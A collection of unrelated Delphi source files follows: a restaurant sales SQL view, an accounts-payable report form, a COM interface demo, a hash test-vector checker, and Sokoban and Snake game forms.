' PrintChecks.CheckNum, ' + NewLine +
' Discounts.Name, ' + NewLine +
' Currencies.Name, ' + NewLine +
' CashGroups.NetName, ' + NewLine +
' Restaurants.Name, ' + NewLine +
' SaleObjects.Name, ' + NewLine +
' SessionDishes.Price ' + NewLine +
' ) VW_FOODS_COMPOSITION ' + NewLine +
' WHERE (1 = 1)';// + aFilter;
// Result:=
// ' SELECT ' +
// ' CAST(ROW_NUMBER() OVER(ORDER BY Orders.Visit) as INT) as ID, ' +
// ' GlobalShifts.ShiftDate as LogicDate, ' +
// ' Orders.Visit as Visit, ' +
// ' Orders.MidServer as MidServer, ' +
// ' Orders.IdentInVisit as IdentInVisit, ' +
// ' Orders.StartService as OpenTable, ' +
// ' Orders.EndService as CloseTable, ' +
// ' Orders.TableName as TableName, ' +
// ' SaleObjects.Name AS Name, ' +
// ' SessionDishes.Price as Price, ' +
// ' SUM(PayBindings.Quantity) AS Quantity, ' +
// ' SUM(SessiOnDishes.Price * PayBindings.Quantity) as SumMoney, ' +
// ' SUM(CASE ' +
// ' WHEN Discparts.Sum IS NOT NULL ' +
// ' THEN Discparts.Sum ' +
// ' ELSE 0 ' +
// ' END) as DiscountSum, ' +
// ' SUM(PayBindings.PaySum) AS PaySum ' +
// ' FROM PayBindings ' +
// {Информация о заказе, состоит из пакетов}
// ' INNER JOIN Orders ON (Orders.Visit = PayBindings.Visit) ' +
// ' AND (Orders.MidServer = PayBindings.MidServer) ' +
// ' AND (Orders.IdentInVisit = PayBindings.OrderIdent) ' +
// ' ' + GetSqlVisitFilter() +
// ' ' + GetSqlIdentInVisitFilter() +
// ' ' + GetSqlMidServerFilter() +
// {информация о сменах работы ресторана}
// ' INNER JOIN GlobalShifts ON (GlobalShifts.MidServer = Orders.MidServer) ' +
// ' AND (GlobalShifts.ShiftNum = Orders.iCommonShift) ' +
// ' AND (GlobalShifts.STATUS = 3) ' +
// ' INNER JOIN SaleObjects ON (SaleObjects.Visit = PayBindings.Visit) ' +
// ' AND (SaleObjects.MidServer = PayBindings.MidServer) ' +
// ' AND (SaleObjects.DishUNI = PayBindings.DishUNI) ' +
// ' AND (SaleObjects.ChargeUNI = PayBindings.ChargeUNI) ' +
// ' INNER JOIN SessionDishes ON (SessionDishes.Visit = SaleObjects.Visit) ' +
// ' AND (SessionDishes.MidServer = SaleObjects.MidServer) ' +
// ' AND (SessionDishes.UNI = SaleObjects.DishUNI) ' +
// {Содержит информацию о скидках}
// ' LEFT JOIN Discparts ON (Discparts.Visit = Orders.Visit) ' +
// ' AND (Discparts.MidServer = Orders.MidServer) ' +
// ' AND (Discparts.OrderIdent = Orders.IdentInVisit) ' +
// ' AND (Discparts.BindingUNI = PayBindings.UNI) ' +
// ' WHERE (1 = 1) ' +
// ' GROUP BY ' +
// ' Orders.Visit, ' +
// ' Orders.MidServer, ' +
// ' Orders.IdentInVisit, ' +
// ' Orders.StartService, ' +
// ' Orders.EndService, ' +
// ' Orders.TableName, ' +
// ' SaleObjects.Name, ' +
// ' SessionDishes.Price, ' +
// ' GlobalShifts.ShiftDate ';
end;
class function TvwFoodsComposition.ViewName: String;
begin
Result:= 'VW_FOODS_COMPOSITION';
end;
end.
|
unit ufrmAPCard;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, ufrmMasterReport, cxGraphics,
cxLookAndFeels, cxLookAndFeelPainters, Vcl.Menus, System.Actions,
Vcl.ActnList, Vcl.StdCtrls, cxButtons, Vcl.ExtCtrls, cxControls, cxContainer,
cxEdit, Vcl.ComCtrls, dxCore, cxDateUtils, cxTextEdit, cxMaskEdit,
cxDropDownEdit, cxCalendar, cxLabel, cxLookupEdit, cxDBLookupEdit,
cxDBExtLookupComboBox, Datasnap.DBClient, uDBUtils, uDMClient, uDXUtils,
uDMReport, uAppUtils, System.DateUtils, uRetnoUnit, cxButtonEdit,
ufrmCXLookup, uModOrganization;
type
TfrmAPCard = class(TfrmMasterReport)
lblFilterData: TcxLabel;
dtAwalFilter: TcxDateEdit;
lblsdFilter: TcxLabel;
dtAkhirFilter: TcxDateEdit;
lblOrganisasi: TcxLabel;
edOrganization: TcxButtonEdit;
edOrganizationName: TcxButtonEdit;
procedure actPrintExecute(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure edOrganizationPropertiesButtonClick(Sender: TObject;
AButtonIndex: Integer);
procedure edOrganizationPropertiesValidate(Sender: TObject;
var DisplayValue: Variant; var ErrorText: TCaption; var Error: Boolean);
private
FCDSOrganisasi: tclientDataSet;
FOrganization: TModOrganization;
function GetCDSOrganisasi: tclientDataSet;
procedure LoadDataOrganization(AKodeAtauID : String; AIsLoadByKode : Boolean);
property CDSOrganisasi: tclientDataSet read GetCDSOrganisasi write
FCDSOrganisasi;
{ Private declarations }
public
{ Public declarations }
end;
var
frmAPCard: TfrmAPCard;
implementation
{$R *.dfm}
procedure TfrmAPCard.actPrintExecute(Sender: TObject);
begin
inherited;
TRetno.KartuAP(FOrganization.ID, dtAwalFilter.Date, dtAkhirFilter.Date);
end;
procedure TfrmAPCard.edOrganizationPropertiesButtonClick(Sender: TObject;
AButtonIndex: Integer);
begin
inherited;
with TfrmCXLookup.Execute(CDSOrganisasi,False, 'Look Up Data') do
begin
Try
HideFields(['V_ORGANIZATION_ID', 'ORG_MerchandiseGroup_id','ORG_Member_ID','ORG_Karyawan_ID','DATE_CREATE','DATE_MODIFY']);
if ShowModal = mrOK then
begin
edOrganization.Text := Data.FieldByName('org_code').AsString;
LoadDataOrganization(Data.FieldByName('V_ORGANIZATION_ID').AsString, False);
end;
Finally
free;
End;
end;
end;
procedure TfrmAPCard.edOrganizationPropertiesValidate(Sender: TObject;
var DisplayValue: Variant; var ErrorText: TCaption; var Error: Boolean);
begin
inherited;
FreeAndNil(FOrganization);
LoadDataOrganization(VarToStr(DisplayValue), True);
end;
procedure TfrmAPCard.FormCreate(Sender: TObject);
begin
inherited;
// InisialisasiOrganisasi;
dtAwalFilter.Date := StartOfTheMonth(Now);
dtAkhirFilter.Date := Now;
end;
function TfrmAPCard.GetCDSOrganisasi: tclientDataSet;
begin
if FCDSOrganisasi = nil then
FCDSOrganisasi := TDBUtils.DSToCDS(DMClient.DSProviderClient.Organization_GetDSLookup(), Self);
Result := FCDSOrganisasi;
end;
procedure TfrmAPCard.LoadDataOrganization(AKodeAtauID : String; AIsLoadByKode :
Boolean);
begin
edOrganizationName.Text := '';
FreeAndNil(FOrganization);
if AIsLoadByKode then
FOrganization := DMClient.CrudClient.RetrieveByCode(TModOrganization.ClassName, AKodeAtauID) as TModOrganization
else begin
FOrganization := DMClient.CrudClient.Retrieve(TModOrganization.ClassName, AKodeAtauID) as TModOrganization;
if FOrganization <> nil then
edOrganization.Text := FOrganization.ORG_Code;
end;
if FOrganization <> nil then
begin
edOrganizationName.Text := FOrganization.ORG_Name;
end;
end;
end.
|
unit CustomServiceDemoPublicIntf;
// This file contains a public interfaces, which will be available for another developers
interface
const
SID_IMyCustomExtension = '{04D04C1E-6B29-4889-AD00-39CEE4BC56E7}';
IID_IMyCustomExtension: TGUID = SID_IMyCustomExtension;
SID_IMyCustomService = '{5CD9EF89-2725-4541-A935-6030BA060D2F}';
IID_IMyCustomService: TGUID = SID_IMyCustomService;
SID_IMyCustomObject = '{2A2D5095-4B52-4C34-8BC8-62D79ABB1A4B}';
IID_IMyCustomObject: TGUID = SID_IMyCustomObject;
SID_IMyCustomObjectv2 = '{2A2D5095-4B52-4C34-8BC8-62D79ABB1A4C}';
IID_IMyCustomObjectv2: TGUID = SID_IMyCustomObjectv2;
type
{ IMyCustomExtension }
IMyCustomExtension = interface
[SID_IMyCustomExtension]
procedure SomeNotification; stdcall;
end;
{ IMyCustomService }
IMyCustomService = interface
[SID_IMyCustomService]
function SomeMethod: HRESULT; stdcall;
end;
{ IMyCustomObject }
IMyCustomObject = interface
[SID_IMyCustomObject]
function SomeMethod: HRESULT; stdcall;
end;
{ IMyCustomObjectv2 }
// This is second version of IMyCustomObject interface, which introduce some new functionality for the object,
// Make sure that it has a different GUID!
IMyCustomObjectv2 = interface(IMyCustomObject)
[SID_IMyCustomObjectv2]
function SomeNewMethod: HRESULT; stdcall;
end;
implementation
end.
|
unit Form_Main;
// Description: Hash Test Vector Suite
// By Sarah Dean
// Email: sdean12@sdean12.org
// WWW: http://www.SDean12.org/
//
// -----------------------------------------------------------------------------
//
// This test application verifies the hash implementations by checking their
// output against known test vectors stored separatly in a file
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,
HashAlgUnified_U;
type
TfrmMain = class(TForm)
pbTestHashes: TButton;
mmoReport: TMemo;
edFilename: TEdit;
Label1: TLabel;
pbBrowse: TButton;
OpenDialog1: TOpenDialog;
pbClose: TButton;
procedure pbTestHashesClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
procedure pbBrowseClick(Sender: TObject);
procedure FormResize(Sender: TObject);
procedure pbCloseClick(Sender: TObject);
private
HashObj: THashAlgUnified;
public
function SelfTest(filename: string): boolean;
end;
var
frmMain: TfrmMain;
implementation
{$R *.dfm}
uses
SDUGeneral,
HashValue_U;
procedure TfrmMain.pbTestHashesClick(Sender: TObject);
begin
SelfTest(edFilename.text);
end;
function TfrmMain.SelfTest(filename: string): boolean;
const
TEST_1_MILLION_a = '<1 million "a" characters>';
TEST_64K_OF_BINARY_DATA = '<64K OF BINARY DATA>';
TEST_DATA_LINE = 'Test data';
var
stlTestData: TStringList;
i, j: integer;
testData: string;
cntOK: integer;
cntFailed: integer;
cntTotalHashes: integer;
cntTotalTestStrings: integer;
dataType: string;
data: string;
digest: THashValue;
currHashType: fhHashType;
calcHash: string;
ht: fhHashType;
cntOKByHash: array [fhHashType] of integer;
cntFailedByHash: array [fhHashType] of integer;
begin
cntOK := 0;
cntFailed := 0;
cntTotalHashes := 0;
cntTotalTestStrings := 0;
for ht:=low(fhHashType) to high(fhHashType) do
begin
cntOKByHash[ht] := 0;
cntFailedByHash[ht] := 0;
end;
stlTestData:= TStringList.Create();
try
mmoReport.lines.Clear();
mmoReport.lines.add('Reading test data from file:');
mmoReport.lines.add(filename);
mmoReport.lines.add('');
stlTestData.LoadFromFile(filename);
digest:= THashValue.Create();
try
for i:=0 to (stlTestData.count-1) do
begin
// Disregard comment and blank lines
if (
(Trim(stlTestData[i]) = '') or
(Pos('#', Trim(stlTestData[i])) > 0)
) then
begin
continue;
end;
// Split into test
SDUSplitString(stlTestData[i], dataType, data, ':');
dataType := Trim(dataType);
data := Trim(data);
if (uppercase(dataType) = uppercase(TEST_DATA_LINE)) then
begin
inc(cntTotalTestStrings);
mmoReport.lines.add('');
mmoReport.lines.add('--------------');
// If line is input data, store
// Special case, 1 million "a" characters
if (uppercase(data) = uppercase(TEST_1_MILLION_a)) then
begin
testData := StringOfChar('a', 1000000);
mmoReport.lines.add('Test data: '+TEST_1_MILLION_a);
mmoReport.lines.add('');
end
else if (uppercase(data) = uppercase(TEST_64K_OF_BINARY_DATA)) then
begin
testData := '';
for j:=0 to 65535 do
begin
testData := testData + char(j and $FF);
end;
mmoReport.lines.add('Test data: '+TEST_64K_OF_BINARY_DATA);
mmoReport.lines.add('');
end
else
begin
// Strip off any quotes
testData := Copy(data, 2, (length(data)-2));
mmoReport.lines.add('Test data: "'+testData+'"');
end;
mmoReport.lines.add('');
continue;
end;
// Calculate hash and compare
inc(cntTotalHashes);
// Setup correct hash...
data := lowercase(data);
mmoReport.lines.add('Hash: '+dataType);
mmoReport.lines.add('Expecting : '+data);
currHashType := HashObj.GetHashTypeForTitle(dataType);
HashObj.ActiveHash := currHashType;
if HashObj.HashString(testData, digest) then
begin
calcHash := lowercase(HashObj.PrettyPrintHashValue(digest));
mmoReport.lines.add('Calculated: '+calcHash);
if (uppercase(calcHash) = uppercase(data)) then
begin
mmoReport.lines.add('Result: PASS');
inc(cntOK);
inc(cntOKByHash[currHashType]);
end
else
begin
mmoReport.lines.add('Result: FAILURE: Incorrect hash value generated');
inc(cntFailed);
inc(cntFailedByHash[currHashType]);
end;
end
else
begin
mmoReport.lines.add('Result: FAILURE: Unable to generate hash value');
inc(cntFailed);
inc(cntFailedByHash[currHashType]);
end;
mmoReport.lines.add('');
end;
finally
digest.Free();
end;
finally
stlTestData.Free();
end;
mmoReport.lines.add('');
mmoReport.lines.add('');
mmoReport.lines.add('RESULTS SUMMARY');
mmoReport.lines.add('===============');
mmoReport.lines.add('Total test strings: '+inttostr(cntTotalTestStrings));
mmoReport.lines.add('');
mmoReport.lines.add('Total hashes to calculate: '+inttostr(cntTotalHashes));
mmoReport.lines.add(' Passed: '+inttostr(cntOK));
mmoReport.lines.add(' Failed: '+inttostr(cntFailed));
mmoReport.lines.add('');
mmoReport.lines.add('Breakdown by hash algorithm:');
mmoReport.lines.add(Format(
'%-20s %5s %5s',
[
'Hash',
'Passed',
'Failed'
]
));
for ht:=low(fhHashType) to high(fhHashType) do
begin
mmoReport.lines.add(Format(
'%-20s %5s %5s',
[
HashObj.GetHashTitleForType(ht),
inttostr(cntOKByHash[ht]),
inttostr(cntFailedByHash[ht])
]
));
end;
Result := (cntFailed = 0);
end;
procedure TfrmMain.FormCreate(Sender: TObject);
begin
HashObj := THashAlgUnified.Create(nil);
self.caption := Application.Title;
edFilename.text := '..\docs\TestVectors.txt';
mmoReport.lines.clear();
// Fixed width font
mmoReport.Font.Name := 'Courier';
end;
procedure TfrmMain.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
HashObj.Free();
end;
procedure TfrmMain.pbBrowseClick(Sender: TObject);
begin
SDUOpenSaveDialogSetup(OpenDialog1, edFilename.text);
if OpenDialog1.Execute then
begin
edFilename.text := OpenDialog1.FileName;
end;
end;
procedure TfrmMain.pbCloseClick(Sender: TObject);
begin
Close();
end;
procedure TfrmMain.FormResize(Sender: TObject);
begin
SDUCenterControl(pbTestHashes, ccHorizontal);
end;
END.
|
unit ufrmGame;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, System.Generics.Collections,
Interfaces.Wall, Classes.Wall, Interfaces.Floor, Classes.Floor, Interfaces.Box, Classes.Box,
Interfaces.Goal, Classes.Goal, Interfaces.Box.Goal, Classes.Box.Goal,
Interfaces.Player, Classes.Player, uStageJSON;
type
TMenuClose = procedure of Object;
TSetMoves = procedure(const Value: Integer) of Object;
TfrmGame = class(TForm)
BackGround: TGridPanel;
procedure FormMouseEnter(Sender: TObject);
procedure BackGroundMouseEnter(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
var
FMenuClose: TMenuClose;
FWalls: TObjectDictionary<Integer, IWall>;
FFloors: TObjectDictionary<Integer, IFloor>;
FBoxs: TObjectDictionary<Integer, IBox>;
FBoxsGoal: TObjectDictionary<Integer, IBoxGoal>;
FGoals: TObjectDictionary<Integer, IGoal>;
FPanels: TObjectDictionary<Integer, TPanel>;
FPlayer: IPlayer;
FMoves: TSetMoves;
FMoveCount: Integer;
FPStage: TStage;
function IsBox(const Position: TPoint): IBox;
function IsBoxGoal(const Position: TPoint): IBoxGoal;
function IsFloor(const Position: TPoint): Boolean;
function IsWall(const Position: TPoint): Boolean;
function IsGoal(const Position: TPoint): Boolean;
procedure CleanBackGround;
procedure CleanDictionarys;
procedure CreateDictionarys;
procedure PlayerMove(const Player: IPlayer;
const Position: TPoint);
procedure ArredondarComponente(Componente: TWinControl;
const Radius: SmallInt);
procedure CreatPanels(const X, Y: Int16);
procedure CreateFloors(const Stage: TStage);
procedure CreateWalls(const Stage: TStage);
procedure CreateBoxes(const Stage: TStage);
procedure CreateBoxesGoals(const Stage: TStage);
procedure CreateGoals(const Stage: TStage);
procedure CreatePlayer(const Stage: TStage);
procedure NewBackGround(const X, Y: Int16);
procedure LoadStage(const Stage: TStage);
{ Private declarations }
public
{ Public declarations }
function Winner: Boolean;
function MoveCounts: Integer;
procedure Initialize;
procedure ChangeSquare(const Direction: TPlayerDirection);
property MenuClose: TMenuClose read FMenuClose write FMenuClose;
property MoveCount: Integer read FMoveCount write FMoveCount;
property Moves: TSetMoves read FMoves write FMoves;
property PStage: TStage read FPStage write FPStage;
end;
var
frmGame: TfrmGame;
implementation
{$R *.dfm}
procedure TfrmGame.ChangeSquare(const Direction: TPlayerDirection);
var
PlayerPosition, BoxPosition: TPoint;
Box: IBox;
BoxGoal: IBoxGoal;
begin
FPlayer.Direction(Direction).ChangeImage;
PlayerPosition.X := FPlayer.Position.X;
PlayerPosition.Y := FPlayer.Position.Y;
BoxPosition.X := FPlayer.Position.X;
BoxPosition.Y := FPlayer.Position.Y;
case Direction of
tpdUP:
begin
PlayerPosition.Y := PlayerPosition.Y -1;
BoxPosition.Y := PlayerPosition.Y -1;
end;
tpdDOWN:
begin
PlayerPosition.Y := PlayerPosition.Y +1;
BoxPosition.Y := PlayerPosition.Y +1;
end;
tpdLEFT:
begin
PlayerPosition.X := PlayerPosition.X -1;
BoxPosition.X := PlayerPosition.X -1;
end;
tpdRIGHT:
begin
PlayerPosition.X := PlayerPosition.X +1;
BoxPosition.X := PlayerPosition.X +1;
end;
end;
if (IsFloor(PlayerPosition)) then
begin
Box := IsBox(PlayerPosition);
if Assigned(Box) then
begin
BoxGoal := IsBoxGoal(BoxPosition);
if (IsFloor(BoxPosition) and
not(IsGoal(BoxPosition)) and
not(Assigned(IsBox(BoxPosition))) and
not(Assigned(BoxGoal))) then
begin
Box.Position(BoxPosition)
.ChangeParent;
PlayerMove(FPlayer, PlayerPosition);
end
else if (IsGoal(BoxPosition) and
not(Assigned(BoxGoal))) then
begin
FBoxs.Items[Box.Key] := nil;
FBoxs.Remove(Box.Key);
FBoxsGoal.Add(FBoxsGoal.Count + 1, TBoxGoal.New(BackGround).Key(FBoxsGoal.Count + 1).Position(BoxPosition).CreateImages);
PlayerMove(FPlayer, PlayerPosition);
end;
end
else
begin
BoxGoal := IsBoxGoal(PlayerPosition);
if (Assigned(BoxGoal) and
IsGoal(BoxPosition) and
not(Assigned(IsBoxGoal(BoxPosition)))) then
begin
BoxGoal.Position(BoxPosition)
.ChangeParent;
PlayerMove(FPlayer, PlayerPosition);
end
else if (Assigned(BoxGoal) and
not IsGoal(BoxPosition) and
not IsWall(BoxPosition) and
not(Assigned(IsBoxGoal(BoxPosition)))) then
begin
FBoxsGoal.Items[BoxGoal.Key] := nil;
FBoxsGoal.Remove(BoxGoal.Key);
FBoxs.Add(FBoxs.Count + 1, TBox.New(BackGround).Key(FBoxs.Count + 1).Position(BoxPosition).CreateImages);
PlayerMove(FPlayer, PlayerPosition);
end
else if not(Assigned(BoxGoal)) then
PlayerMove(FPlayer, PlayerPosition);
end;
FBoxsGoal.TrimExcess;
FBoxs.TrimExcess;
end;
end;
procedure TfrmGame.CleanBackGround;
var
I: Integer;
begin
for I := FWalls.Count - 1 downto 0 do
begin
FWalls.Remove(I);
end;
for I := FFloors.Count - 1 downto 0 do
begin
FFloors.Remove(I);
end;
for I := 0 to FBoxs.Count - 1 do
begin
FBoxs.Remove(I);
end;
for I := FBoxsGoal.Count - 1 downto 0 do
begin
FBoxsGoal.Remove(I);
end;
for I := FGoals.Count - 1 downto 0 do
begin
FGoals.Remove(I);
end;
for I := FPanels.Count - 1 downto 0 do
begin
FPanels.Items[I].Free;
FPanels.Remove(I);
end;
CleanDictionarys;
CreateDictionarys;
BackGround.RowCollection.BeginUpdate;
try
BackGround.RowCollection.Clear;
finally
BackGround.RowCollection.EndUpdate;
end;
BackGround.ColumnCollection.BeginUpdate;
try
BackGround.ColumnCollection.Clear;
finally
BackGround.ColumnCollection.EndUpdate;
end;
end;
procedure TfrmGame.CleanDictionarys;
begin
FreeAndNil(FWalls);
FreeAndNil(FFloors);
FreeAndNil(FBoxs);
FreeAndNil(FPanels);
FreeAndNil(FGoals);
FreeAndNil(FBoxsGoal);
end;
procedure TfrmGame.CreateBoxes(const Stage: TStage);
var
Index: Integer;
Pos: TPoint;
Box: TBoxesDTO;
begin
Index := 0;
for Box in Stage.Stage.Boxes do
begin
Pos.X := Box.X;
Pos.Y := Box.Y;
FBoxs.Add(Index, TBox.New(BackGround).Key(Index).Position(Pos).CreateImages);
Index := Succ(Index);
end;
FBoxs.TrimExcess;
end;
procedure TfrmGame.CreateBoxesGoals(const Stage: TStage);
var
Index: Integer;
Pos: TPoint;
BoxGoal: TBoxesGoalDTO;
begin
Index := 0;
for BoxGoal in Stage.Stage.BoxesGoal do
begin
Pos.X := BoxGoal.X;
Pos.Y := BoxGoal.Y;
FBoxsGoal.Add(Index, TBoxGoal.New(BackGround).Key(Index).Position(Pos).CreateImages);
Index := Succ(Index);
end;
FBoxsGoal.TrimExcess;
end;
procedure TfrmGame.CreateDictionarys;
begin
FWalls := TObjectDictionary<Integer, IWall>.Create;
FFloors := TObjectDictionary<Integer, IFloor>.Create;
FBoxs := TObjectDictionary<Integer, IBox>.Create;
FPanels := TObjectDictionary<Integer, TPanel>.Create;
FGoals := TObjectDictionary<Integer, IGoal>.Create;
FBoxsGoal := TObjectDictionary<Integer, IBoxGoal>.Create;
end;
procedure TfrmGame.CreateFloors(const Stage: TStage);
var
Index: Integer;
Pos: TPoint;
Floor: TFloorsDTO;
begin
Index := 0;
for Floor in Stage.Stage.Floors do
begin
Pos.X := Floor.X;
Pos.Y := Floor.Y;
FFloors.Add(Index, TFloor.New(BackGround).Position(Pos).CreateImages);
Index := Succ(Index);
end;
FFloors.TrimExcess;
end;
procedure TfrmGame.CreateGoals(const Stage: TStage);
var
Index: Integer;
Pos: TPoint;
Goal: TGoalsDTO;
begin
Index := 0;
for Goal in Stage.Stage.Goals do
begin
Pos.X := Goal.X;
Pos.Y := Goal.Y;
FGoals.Add(Index, TGoal.New(BackGround).Position(Pos).CreateImages);
Index := Succ(Index);
end;
FGoals.TrimExcess;
end;
procedure TfrmGame.CreatePlayer(const Stage: TStage);
var
Pos: TPoint;
begin
Pos.X := Stage.Stage.Player.X;
Pos.Y := Stage.Stage.Player.Y;
FPlayer := TPlayer.New(BackGround)
.Position(Pos)
.Direction(TPlayerDirection.tpdDOWN)
.CreateImages;
end;
procedure TfrmGame.CreateWalls(const Stage: TStage);
var
Index: Integer;
Pos: TPoint;
Wall: TWallsDTO;
begin
Index := 0;
for Wall in Stage.Stage.Walls do
begin
Pos.X := Wall.X;
Pos.Y := Wall.Y;
FWalls.Add(Index, TWall.New(BackGround).Position(Pos).CreateImages);
Index := Succ(Index);
end;
FWalls.TrimExcess;
end;
procedure TfrmGame.CreatPanels(const X, Y: Int16);
var
lRows, lColumns, Key: Integer;
Panel: TPanel;
function NewPanel: TPanel;
begin
Result := TPanel.Create(BackGround);
Result.BevelOuter := bvNone;
Result.Width := 33;
Result.Height := 33;
end;
begin
Key := 0;
for lColumns := 0 to X - 1 do
begin
for lRows := 0 to Y - 1 do
begin
Panel := NewPanel;
Panel.Align := alClient;
Panel.Parent := BackGround;
FPanels.Add(Key, Panel);
Key := Succ(Key);
end;
end;
end;
procedure TfrmGame.ArredondarComponente(Componente: TWinControl;
const Radius: SmallInt);
var
R: TRect;
Rgn: HRGN;
begin
with Componente do
begin
R := ClientRect;
Rgn := CreateRoundRectRgn(R.Left, R.Top, R.Right, R.Bottom, Radius, Radius);
Perform(EM_GETRECT, 0, lParam(@R));
InflateRect(R, -1, -1);
Perform(EM_SETRECTNP, 0, lParam(@R));
SetWindowRgn(Handle, Rgn, True);
Invalidate;
end;
end;
procedure TfrmGame.BackGroundMouseEnter(Sender: TObject);
begin
MenuClose;
end;
procedure TfrmGame.FormClose(Sender: TObject; var Action: TCloseAction);
begin
CleanDictionarys;
FPlayer := nil;
end;
procedure TfrmGame.FormMouseEnter(Sender: TObject);
begin
MenuClose;
end;
procedure TfrmGame.Initialize;
var
Panel: TPanel;
begin
CreateDictionarys;
FMoveCount := 0;
Moves(FMoveCount);
CleanBackGround;
NewBackGround(FPStage.Stage.X, FPStage.Stage.Y);
CreatPanels(FPStage.Stage.X, FPStage.Stage.Y);
LoadStage(FPStage);
for Panel in FPanels.Values do
ArredondarComponente(Panel, 5);
end;
function TfrmGame.IsBox(const Position: TPoint): IBox;
var
Box: IBox;
begin
Result := nil;
for Box in FBoxs.Values do
begin
if ((Box.Position.X = Position.X) and (Box.Position.Y = Position.Y)) then
Exit(Box);
end;
end;
function TfrmGame.IsBoxGoal(const Position: TPoint): IBoxGoal;
var
BoxGoal: IBoxGoal;
begin
Result := nil;
for BoxGoal in FBoxsGoal.Values do
begin
if ((BoxGoal.Position.X = Position.X) and (BoxGoal.Position.Y = Position.Y)) then
Exit(BoxGoal);
end;
end;
function TfrmGame.IsFloor(const Position: TPoint): Boolean;
var
Floor: IFloor;
begin
Result := False;
for Floor in FFloors.Values do
begin
if ((Floor.Position.X = Position.X) and (Floor.Position.Y = Position.Y)) then
Exit(True);
end;
end;
function TfrmGame.IsGoal(const Position: TPoint): Boolean;
var
Goal: IGoal;
begin
Result := False;
for Goal in FGoals.Values do
begin
if ((Goal.Position.X = Position.X) and (Goal.Position.Y = Position.Y)) then
Exit(True);
end;
end;
function TfrmGame.IsWall(const Position: TPoint): Boolean;
var
Wall: IWall;
begin
Result := False;
for Wall in FWalls.Values do
begin
if ((Wall.Position.X = Position.X) and (Wall.Position.Y = Position.Y)) then
Exit(True);
end;
end;
procedure TfrmGame.LoadStage(const Stage: TStage);
begin
BackGround.RowCollection.BeginUpdate;
try
BackGround.ColumnCollection.BeginUpdate;
try
CreateFloors(Stage);
CreateWalls(Stage);
CreateBoxes(Stage);
CreateBoxesGoals(Stage);
CreateGoals(Stage);
CreatePlayer(Stage);
finally
BackGround.ColumnCollection.EndUpdate;
end;
finally
BackGround.RowCollection.EndUpdate;
end;
end;
function TfrmGame.MoveCounts: Integer;
begin
Result := FMoveCount;
end;
procedure TfrmGame.NewBackGround(const X, Y: Int16);
var
lRows, lColumns: Integer;
begin
BackGround.ColumnCollection.BeginUpdate;
try
for lColumns := 0 to X - 1 do
begin
with BackGround.ColumnCollection.Add do
begin
SizeStyle := ssAbsolute;
Value := 33;
end;
end;
finally
BackGround.ColumnCollection.EndUpdate;
end;
BackGround.RowCollection.BeginUpdate;
try
for lRows := 0 to Y - 1 do
begin
with BackGround.RowCollection.Add do
begin
SizeStyle := ssAbsolute;
Value := 33;
end;
end;
finally
BackGround.RowCollection.EndUpdate;
end;
end;
procedure TfrmGame.PlayerMove(const Player: IPlayer;
const Position: TPoint);
begin
Player.Position(Position)
.ChangeParent;
FMoveCount := Succ(FMoveCount);
Moves(FMoveCount);
end;
function TfrmGame.Winner: Boolean;
begin
Result := (FBoxsGoal.Count = FGoals.Count);
end;
end.
|
unit Main;
interface
uses
System.UIConsts, System.SysUtils, System.Types, System.UITypes, System.Classes, System.Variants,
FMX.Types, FMX.Controls, FMX.Forms, FMX.Graphics, FMX.Dialogs, System.Generics.Collections,
GameObject, SnakeUnit, FMX.Colors, FMX.Gestures, FMX.Controls.Presentation,
FMX.StdCtrls;
const
kUp=['w','W'];
kDown=['s','S'];
kLeft=['a','A'];
kRight=['d','D'];
kRest=[' '];
maxX=50;
maxY=50;
EnemySnakes=3;
Speed=150;
PlayerEnabled=true;
type
TMainForm = class(TForm)
Timer: TTimer;
GestureManager1: TGestureManager;
procedure TimerTimer(Sender: TObject);
procedure FormKeyDown(Sender: TObject; var Key: Word; var KeyChar: Char;
Shift: TShiftState);
procedure FormCreate(Sender: TObject);
procedure FormResize(Sender: TObject);
procedure FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Single);
procedure FormGesture(Sender: TObject; const EventInfo: TGestureEventInfo;
var Handled: Boolean);
procedure Button1Gesture(Sender: TObject;
const EventInfo: TGestureEventInfo; var Handled: Boolean);
private
Dir:TPoint;
TurnPassed:Boolean;
KeyPressed:Word;
procedure Redraw;
procedure CalculateCollisions;
procedure FillWave;
procedure MoveSnakes;
procedure GetWinner;
{ Private declarations }
public
Snake:TSnake;
WeveGotAwinner:Boolean;
Apple:TApple;
Objects:TObjectList<TGameObject>;
{ Public declarations }
end;
var
MainForm: TMainForm;
implementation
uses
Painter;
{$R *.fmx}
procedure TMainForm.FormCreate(Sender: TObject);
var z:byte;
begin
RandSeed:=2;
Dir:=Point(1,0);
//Randomize;
Objects:=TObjectList<TGameObject>.Create;
Objects.OwnsObjects:=false;
if PlayerEnabled then
Begin
Snake:=TSnake.Create;
Snake.Body[0]:=Point(maxX div 2,maxY div 2);
Objects.add(Snake);
End;
for z := 1 to EnemySnakes do
Begin
Objects.Add(TSnakeAI.Create);
(Objects.Last as TSnakeAI).Body[0]:=Point(Random(maxX)+1,Random(maxY)+1);
End;
Apple:=TApple.Create;
Apple.P.X:=Random(maxX)+1;
Apple.P.Y:=Random(maxY)+1;
Objects.Add(Apple);
TPainter.Init(MainForm,maxX,maxY);
keyPressed:=vkRight;
Timer.Interval:=Speed;
end;
procedure TMainForm.FormGesture(Sender: TObject;
const EventInfo: TGestureEventInfo; var Handled: Boolean);
var Key:Word;
KeyChar:Char;
S:String;
begin
if EventInfo.GestureID=igiDoubleTap then Timer.Enabled:=not Timer.Enabled;
if EventInfo.GestureID=sgiLeft then Key:=vkLeft;
if EventInfo.GestureID=sgiRight then Key:=vkRight;
if EventInfo.GestureID=sgiUp then Key:=vkUp;
if EventInfo.GestureID=sgiDown then Key:=vkDown;
FormKeyDown(MainForm,Key,KeyChar,[]);
end;
